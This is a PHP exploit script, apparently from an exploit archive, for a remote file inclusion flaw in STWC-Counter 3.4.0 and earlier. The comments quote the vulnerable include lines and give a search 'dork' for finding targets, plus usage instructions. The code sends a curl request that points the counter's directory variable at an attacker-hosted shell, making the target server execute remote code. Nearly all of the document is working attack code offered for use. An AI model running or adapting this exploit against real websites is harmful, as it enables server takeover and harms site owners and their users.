STWC-Counter <= 3.4.0 (downloadcounter.php) RFI Exploit

<?php //File&nbsp;Inclusion&nbsp;Exploit&nbsp;for&nbsp;Version&nbsp;STWC-Counter&nbsp;<=&nbsp;3.4.0.0 //Found&nbsp;and&nbsp;Exploit&nbsp;Coded&nbsp;by&nbsp;burncycle&nbsp;-&nbsp;burncycle[(at)]hotmail[(dot)]de //| //Vendor:&nbsp;http://www.stwc-counter.de/ //Dork:&nbsp;www.stwc-counter.de //| //Bug&nbsp;in&nbsp;\"downloadcounter.php\": //.. //$stwc_verzeichniss&nbsp;=&nbsp;$stwc_counter_verzeichniss; //.. //include($stwc_verzeichniss&nbsp;.&nbsp;\"funktionen_intern.php\"); //include($stwc_verzeichniss&nbsp;.&nbsp;\"einstellungen.php\"); //include($stwc_verzeichniss&nbsp;.&nbsp;\"funktionen_ausgabe.php\"); //.. //include($stwc_verzeichniss&nbsp;.&nbsp;\"sprache/deutsch.php\"); //.. //include($stwc_verzeichniss&nbsp;.&nbsp;\"sprache/english.php\"); //.. //| //Usage:&nbsp;php&nbsp;exploit.php&nbsp;[pathtoscript]&nbsp;[pathtoshell] //Example:&nbsp;php&nbsp;exploit.php&nbsp;http://pathtoscript.com/counter/&nbsp;http://pathtoshell.com/(funktionen_intern.php)(einstellungen.php)(funktionen_ausgabe.php)(sprache/deutsch.php)(sprache/english.php) //| //Needs&nbsp;the&nbsp;cURL&nbsp;extension&nbsp;of&nbsp;PHP //Works&nbsp;only&nbsp;with&nbsp;register_globals&nbsp;=&nbsp;on //Nur&nbsp;ausnahme&nbsp;Fehler&nbsp;anzeigen error_reporting(1); echo&nbsp;\"Usage:&nbsp;php&nbsp;\".$_SERVER[\"argv\"][0].\"&nbsp;[pathtoscript]&nbsp;[pathtoshell] \"; echo&nbsp;\"Example:&nbsp;php&nbsp;\".$_SERVER[\"argv\"][0].\"&nbsp;http://pathtoscript.com/counter/&nbsp;http://pathtoshell.com/(funktionen_intern.php)(einstellungen.php)(funktionen_ausgabe.php)(sprache/deutsch.php)(sprache/english.php) \"; //Schauen&nbsp;ob&nbsp;alles&nbsp;angegeben&nbsp;wurde if(!empty($_SERVER[\"argv\"][1])&nbsp;&&&nbsp;!empty($_SERVER[\"argv\"][2])) { &nbsp;&nbsp;$pathtoscript&nbsp;=&nbsp;$_SERVER[\"argv\"][1]; &nbsp;&nbsp;$pathtoshell&nbsp;=&nbsp;$_SERVER[\"argv\"][2]; &nbsp;&nbsp;//erzeuge&nbsp;ein&nbsp;neues&nbsp;cURL&nbsp;Handle &nbsp;&nbsp;$ch&nbsp;=&nbsp;curl_init(); &nbsp;&nbsp;//setzte&nbsp;die&nbsp;URL&nbsp;und&nbsp;andere&nbsp;Optionen &nbsp;&nbsp;curl_setopt($ch,&nbsp;CURLOPT_URL,&nbsp;$pathtoscript.\"downloadcounter.php?stwc_counter_verzeichniss=\".$pathtoshell); &nbsp;&nbsp;curl_setopt($ch,&nbsp;CURLOPT_HEADER,&nbsp;0); &nbsp;&nbsp;//f.hre&nbsp;die&nbsp;Aktion&nbsp;aus &nbsp;&nbsp;curl_exec($ch); &nbsp;&nbsp;//schlie.e&nbsp;das&nbsp;Handle&nbsp;und&nbsp;gebe&nbsp;Systemresourcen&nbsp;frei &nbsp;&nbsp;curl_close($ch); } ?> &nbsp;